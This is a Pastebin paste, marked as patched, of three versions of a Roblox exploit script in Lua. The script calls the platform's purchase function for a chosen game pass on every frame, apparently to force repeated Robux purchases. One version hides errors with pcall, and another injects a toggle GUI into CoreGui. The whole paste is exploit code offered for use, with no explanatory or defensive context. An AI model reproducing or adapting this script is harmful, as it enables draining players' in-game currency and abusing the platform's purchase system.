Scriptorz5

[PATCHED]

Mar 30th, 2019
190
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.78 KB | None | 0 0
  1. --[[ERROR VERSION]]--
  2. gamePassId = 6028667
  3. market = game:GetService("MarketplaceService")
  4. http = game:GetService("HttpService")
  5. info = market:GetProductInfo(gamePassId, Enum.InfoType.GamePass)
  6. game:GetService("RunService").Stepped:connect(function()
  7. market:PerformPurchase(Enum.InfoType.Asset, info["ProductId"], info["PriceInRobux"], http:GenerateGUID(false))
  8. end)
  9.  
  10. --[[NO ERRORS VERSION]]--
  11. gamePassId = 72385
  12. market = game:GetService("MarketplaceService")
  13. http = game:GetService("HttpService")
  14. info = market:GetProductInfo(gamePassId, Enum.InfoType.GamePass)
  15. game:GetService("RunService").Stepped:connect(function()
  16. pcall(market.PerformPurchase, market, Enum.InfoType.Asset, info["ProductId"], info["PriceInRobux"], http:GenerateGUID(false))
  17. end)
  18.  
  19. --[[GUI VERSION]]--
  20.  
  21. gui = Instance.new('ScreenGui',game:GetService("CoreGui"))
  22. frame = Instance.new('Frame',gui)
  23. frame.Size = UDim2.new(0.2,0,0.05,0)
  24. frame.Position = UDim2.new(0.8,0,0.4,0)
  25. tbox = Instance.new('TextBox',frame)
  26. tbox.Size = UDim2.new(0.8,0,1,0)
  27. tbox.Text = 'gamepassid'
  28. tbutton = Instance.new('TextButton',frame)
  29. tbutton.Size = UDim2.new(0.2,0,1,0)
  30. tbutton.Position = UDim2.new(0.8,0,0,0)
  31. tbutton.Text = 'off'
  32. market = game:GetService("MarketplaceService")
  33. http = game:GetService("HttpService")
  34. tbutton.MouseButton1Down:connect(function()
  35. if tbutton.Text=='off' then
  36. gamePassId = tonumber(tbox.Text)
  37. info = market:GetProductInfo(gamePassId, Enum.InfoType.GamePass)
  38. connection = game:GetService("RunService").Stepped:connect(function()
  39. pcall(market.PerformPurchase,market,Enum.InfoType.Asset, info["ProductId"], info["PriceInRobux"], http:GenerateGUID(false))
  40. end)
  41. tbutton.Text = 'on'
  42. else
  43. connection:Disconnect()
  44. tbutton.Text = 'off'
  45. end
  46. end)
Add Comment
Please, Sign In to add comment